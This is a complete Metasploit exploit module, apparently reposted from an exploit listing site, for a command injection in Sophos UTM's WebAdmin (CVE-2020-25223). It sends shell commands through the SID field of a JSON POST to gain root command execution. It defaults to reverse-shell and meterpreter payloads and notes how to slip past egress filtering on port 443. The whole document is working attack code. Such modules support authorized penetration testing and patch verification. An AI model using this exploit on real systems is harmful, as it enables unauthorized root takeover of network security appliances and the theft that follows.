Sophos UTM WebAdmin SID Command Injection

2021.10.29
Credit: wvu
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-78

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info = {}) super( update_info( info, 'Name' => 'Sophos UTM WebAdmin SID Command Injection', 'Description' => %q{ This module exploits an SID-based command injection in Sophos UTM's WebAdmin interface to execute shell commands as the root user. }, 'Author' => [ # Discovered by unknown researcher(s) 'Justin Kennedy', # Analysis and PoC 'wvu' # Supplementary analysis and exploit ], 'References' => [ ['CVE', '2020-25223'], ['URL', 'https://www.sophos.com/en-us/security-advisories/sophos-sa-20200918-sg-webadmin-rce'], ['URL', 'https://www.atredis.com/blog/2021/8/18/sophos-utm-cve-2020-25223'], ['URL', 'https://attackerkb.com/assessments/d6e0dff3-dd46-4f19-831d-c3f3f2fa972a'] ], 'DisclosureDate' => '2020-09-18', 'License' => MSF_LICENSE, 'Platform' => ['unix', 'linux'], 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], 'Privileged' => true, 'Targets' => [ [ 'Unix Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :cmd, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_perl_ssl' } } ], [ 'Linux Dropper', { 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :dropper, 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' } } ] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'RPORT' => 4444, 'LPORT' => 443, # XXX: Bypass Sophos UTM's egress filtering 'SSL' => true }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [FIRST_ATTEMPT_FAIL], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ) ) register_options([ OptString.new('TARGETURI', [true, 'Base path', '/']) ]) end def stopwatch # https://blog.dnsimple.com/2018/03/elapsed-time-with-ruby-the-right-way/ start = Process.clock_gettime(Process::CLOCK_MONOTONIC) ret = yield elapsed = Process.clock_gettime(Process::CLOCK_MONOTONIC) - start [ret, elapsed] end def check sleep_time = rand(5..10) injected, elapsed_time = stopwatch do inject_cmd("sleep #{sleep_time}", timeout: sleep_time * 1.5) end return CheckCode::Unknown if injected.nil? vprint_status("Elapsed time: #{elapsed_time} seconds") # injected == false unless injected && elapsed_time > sleep_time return CheckCode::Safe('Failed to test command injection.') end # injected == true CheckCode::Appears('Successfully tested command injection.') end def exploit unless datastore['LPORT'] == 443 print_warning('LPORT=443 is recommended to bypass egress filtering') end print_status("Executing #{payload_instance.refname} (#{target.name})") case target['Type'] when :cmd execute_command(payload.encoded) when :dropper execute_cmdstager end end def execute_command(cmd, _opts = {}) # nil or true on success if inject_cmd(cmd) == false fail_with(Failure::PayloadFailed, "Failed to execute command: #{cmd}") end end def inject_cmd(cmd, timeout: 3.5) vprint_status("Injecting command: #{cmd}") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'var'), 'ctype' => 'application/json; charset=UTF-8', # NOTE: charset is required 'data' => { 'SID' => "|#{cmd}|" # https://perldoc.perl.org/functions/open#Opening-a-filehandle-into-a-command }.to_json }, timeout) return unless res return false unless res.code == 200 && res.body.include?(alert_msg) true end def alert_msg # {"RID":"","objs":[{"js":"json_abort(true);"},{"alert":"Backend connection failed, please click Shift-Reload to try again."}]} 'Backend connection failed, please click Shift-Reload to try again.' end end


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